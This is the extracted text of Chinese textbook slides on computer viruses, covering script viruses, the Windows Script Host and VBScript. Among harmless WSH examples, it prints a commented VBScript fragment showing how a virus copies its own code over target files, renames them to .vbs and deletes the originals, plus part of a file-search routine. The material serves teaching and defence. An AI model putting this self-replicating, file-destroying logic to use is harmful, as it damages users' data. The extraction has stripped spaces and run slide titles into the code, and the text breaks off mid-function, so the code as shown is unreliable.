计算机病毒与防范技术第5章 其它恶意代码分析

《计算机病毒与防范技术第5章 其它恶意代码分析》由会员上传分享，免费在线阅读，更多相关内容在教育资源-天天文库。

1、第5章其它恶意代码分析脚本病毒的基本原理及其防治即时通讯病毒网络钓鱼流氓软件脚本病毒的基本原理及其防治WSH简介WSH是WindowsScriptingHost(Windows脚本宿主)的缩略形式,是一个基于32位Windows平台、并独立于语言的脚本运行环境，是一种批次语言/自动执行工具文件名为WScript.exe(若是在DOS命令提示符下，则为CScript.exe，命令格式：CScriptFileName.vbs)脚本病毒的基本原理及其防治WScript.exe使得脚本可以被执行，就象执行批处

2、理一样在WSH脚本环境里，预定义了一些对象，通过这些内置对象，可以实现获取环境变量、创建快捷方式、加载程序、读写注册表等功能脚本病毒的基本原理及其防治这是大多数利用VBScript编写的病毒的一个特点Setfso=CreateObject("Scripting.FileSystemObject")fso.Getfile("c:1.txt").Copy("e:2.txt")脚本病毒的基本原理及其防治如果用regsvr32scrrun.dll/u禁止了文件系统对象，在执行包含脚本的则提示失败脚本病毒的

3、基本原理及其防治访问文件系统WScript.Echo("WSH应用举例")'弹出对话框窗口'在D盘根目录下建立10个新文件夹dimobjdirsetobjdir=WScript.Createobject("Scripting.filesystemobject")fork=1to10sNewFolder="d:WSHsample"&k'给新的文件夹命名objdir.Createfolder(sNewFolder)next脚本病毒的基本原理及其防治'在C盘根目录创建一个文本文件testfile.txtS

4、etRegWsh=Wscript.CreateObject("Wscript.Shell")RegWsh.Run("notepad"&Wscript.ScriptFullName)'用SHELL对象启动程序Setfs=Wscript.CreateObject("Scripting.FileSystemObject")Seta=fs.CreateTextFile("c:testfile.txt",True)a.WriteLine("HelloWorld!")a.Close脚本病毒的基本原理及其防治访问

5、注册表创建对象Set对象变量名=WScript.CreateObject("WScript.Shell")对象的方法读注册表键值的操作RegRead创建/修改注册表键值的操作RegWrite删除注册表键值的操作RegDelete脚本病毒的基本原理及其防治DimRegWsh,sReadKey,sPrompt,sFixpromptSetRegWsh=WScript.CreateObject("WScript.Shell")RegWsh.RegWrite"HKCUMyRegKey","一级键值"'创建一级

6、键值sReadKey=RegWsh.RegRead("HKCUMyRegKey")'读取(默认)键值RegWsh.RegDelete“HKCUMyRegKey”'删除一级键值脚本病毒的基本原理及其防治VBS脚本病毒的特点编写简单破坏力大感染力强传播范围大病毒源码容易被获取，变种多欺骗性强使得病毒生产机实现起来非常容易脚本病毒的基本原理及其防治VBS脚本病毒如何感染复制setfso=createobject("scripting.filesystemobject")'创建一个文件系统对象setsel

7、f=fso.opentextfile(wscript.scriptfullname,1)'读打开当前文件(即病毒本身)vbscopy=self.readall'读取病毒全部代码到字符串变量vbscopy……setap=fso.opentextfile(目标文件.path,2,true)'打开目标文件，准备写入病毒代码ap.writevbscopy'将病毒代码覆盖目标文件ap.closesetcop=fso.getfile(目标文件.path)'得到目标文件路径cop.copy(目标文件.path&".

8、vbs")'创建另外一个病毒文件(以.vbs为后缀)目标文件.delete(true)'删除目标文件脚本病毒的基本原理及其防治文件搜索代码'该函数主要用来寻找满足条件的文件，并生成对应文件的一个病毒副本subscan(folder_)'scan函数定义，onerrorresumenext'如果出现错误，直接跳过，防止弹出错误窗口setfolder_=fso.getfolder(folder_)setfiles=folder_.files'当前目录的所有文